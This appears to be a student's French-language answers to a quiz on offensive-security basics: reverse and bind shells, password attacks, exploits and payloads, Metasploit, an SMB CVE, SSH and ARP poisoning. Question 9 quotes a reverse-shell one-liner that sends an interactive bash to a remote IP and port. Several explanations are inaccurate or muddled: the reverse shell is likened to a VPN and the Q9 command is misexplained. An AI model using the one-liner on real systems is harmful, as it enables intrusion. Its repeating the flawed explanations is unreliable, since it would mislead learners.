Question 1

**Quelle est la différence entre un bind shell et un reverse shell ?**

Bind shell est un type de shell dans lequel la machine cible ouvre un port de communication ou un écouteur sur la machine victime et attend une connexion entrante. l'attaquant se connecte ensuite à l'écouteur de la machine victime qui mène ensuite à l'exécution de code ou de commande sur le serveur .

Reserve Shell est un type dans lequel la machine cible communique avec la machine attaquante. La machine attaquante dispose d'un port d'écoute sur lequel elle reçoit la connexion, ce qui en utilisant, l'exécution de code ou de commande est réalisée.

Question 2

**Pourquoi le reverse shell est plus pratique dans les configurations récentes ?**

Reserve Shell aussi également appelé tunnel inverse, c’est une technique informatique qui permet de rediriger l'entrée et la sortie d'un shell vers un ordinateur distant via un service capable d'interagir entre deux ordinateurs comme les 2 sont connectés localement. Un des avantages de cette technique est de rendre un shell local accessible depuis ce serveur distant sans être bloqué par un pare-feu.

C’est une technique qui se trouve dans la configuration qu’on utilise beaucoup celle de la connexion VPN à distance (tunnel privé), mais ici, la VPN est toujours une vraie connexion entre 2 stations connues et légales.

Question 3

**Quelle est la différence entre une attaque par brute force et une attaque par dictionnaire ?**

L'attaque par dictionnaire qui consiste à tester une série de mots de passe potentiels, les uns à la suite des autres, c'est très bête. On prend une liste de mot, et on les essaie tous.

L'attaque par force brute qui consiste à tester, de manière exhaustive, les différentes possibilités et toutes les combinaisons possibles de mots de passe, la complexité d'une attaque par force brute est une fonction exponentielle de la longueur du mot de passe

Question 4

**Préciser la différence entre un exploit et un payload ?**

L'exploit délivre le payload, si on prend un missile par analogie, vous avez la fusée et le carburant et tout ce qui se trouve dans la fusée, puis vous avez l'ogive qui fait les dégâts réels. Sans l'ogive, le missile fait peu lorsqu'il frappe. De plus, une ogive n'est pas très utile si vous tirez dans votre bunker sans qu'une fusée ne la livre.

Le système de livraison (missile) est l'exploit et le payload (ogive) est le code qui fait vraiment quelque chose.

Exploit vous donne la possibilité de shell / run /payload code ,

Payload sont par exemple : les chevaux de Troie, reserve shell, bind shell, keyloggers ,

Par conséquent, un exploit est un code écrit pour exploiter une vulnérabilité particulière. Payload est un code que vous exécuterez à travers cet exploit.

Question 5

**Que fait la commande options sur metasploit ?**

Metasploit propose de nombreuses options de commande différentes. Un ensemble de base de commandes Metasploit en référence à leur sortie comme : Use, back,exit, ….

Maintenant, La commande show options vous montrera les paramètres disponibles pour un exploit s'il est utilisé lorsque la ligne de commande est en contexte d'exploitation.

Utiliser l'exploit comme exploit/multi/handler et jeter un coup d’œil aux options comme la commande suivante:

msf> use exploit/multi/handler

Ici, toutes les valeurs sont par défaut

Qui Suivi de la commande show options:

msf> show options

Alors, show options ici, renvoie la cible actuellement sélectionnée sous show options. Par Example Target par défaut est 0, ce qui est 0 Windows pour l'exploit sélectionné.

Puis, on utilise la commande SET pour faire de changement après on utilise show options pour avoir la nouvelle valeur et voir la modification des valeurs par défaut : comme true vers false comme target 0 vers 1, no vers yes et vice versa.

Donc le rôle du commande Options pour préciser les valeurs et les cibles après et avant la modification d’un exploit utiliser.

Question 6

**Quelle est la dernière vulnérabilité affectant le service SMB sous windows, donnez son CVE ?**

Risque est une exécution de code arbitraire à distance.

La fonction vulnérable est utilisée à la fois par le client et le serveur qui partage des ressources (fichier, imprimante). Par conséquent, une personne malveillante pourrait exploiter cette vulnérabilité pour compromettre un serveur de ressources SMB, puis, par rebond, toutes les machines qui se connecteraient à ce serveur : la compromission en chaîne de machines vulnérables est donc possible.

Donc, Microsoft a publié un correctif pour la vulnérabilité CVE-2020-0796.

Question 7

**Parmi les protocoles suivants lesquells sont plus sûr**

Veuillez choisir au moins une réponse :

a. SSH



b. FTP



c. SMTPS



d. TELNET



Question 8

**Quel port est utilisé par SSH ?**

Secure Shell (SSH) utilise le port TCP (Transmission Control Protocol) 22 par défaut, et il est couramment utilisé avec d'autres protocoles, tels que Secure Copy (SCP) et Secure File Transfer Protocol (SFTP),

Question 9

**Que fait cette commande**

**bash -i >& /dev/tcp/192.168.1.21/9001 0>&1**

Priorité/descripteur de ce bash est 1 &1 dans le page manuel avec le périphérique bash qui sert à ouvrir pour la lecture et l'écriture sur le socket TCP/IP spécifié 9001.

Alors, c’est une utilisation de TCP / IP avec le fichier de périphérique bash /dev/tcp intégré qui nous allons à la fois lire et écrire via le socket 9001.

Mais, si cette commande n'est pas définie, alors la redirection prend effet dans le shell actuel et l'état de retour est 0

Question 10

**C’est quoi le ARP poisonning ?**

Sur les réseaux informatiques, ARP Poisonning est une technique par laquelle un attaquant envoie des messages ARP (Address Resolution Protocol) à un réseau d’une zone locale. En général, l'objectif est d'associer l'adresse MAC avec l'adresse IP d'un autre hôte à l'attaquant, tel que la passerelle par défaut, provoquant l'envoi de trafic de celle IP destiné à l'attaquant.  
  
ARP Poisonning peut permettre à un attaquant d'intercepter des trames de données sur un réseau, de modifier le trafic ou d'arrêter tout le trafic.

Souvent, l'attaque est utilisée comme une ouverture pour d'autres attaques, telles que les attaques comme DOS, Man in the middle et Hijacking.

L'attaque/ARP poisonning ne peut être utilisée que sur des réseaux utilisant ARP et nécessite que l'attaquant ait un accès direct au segment de réseau local à attaquer.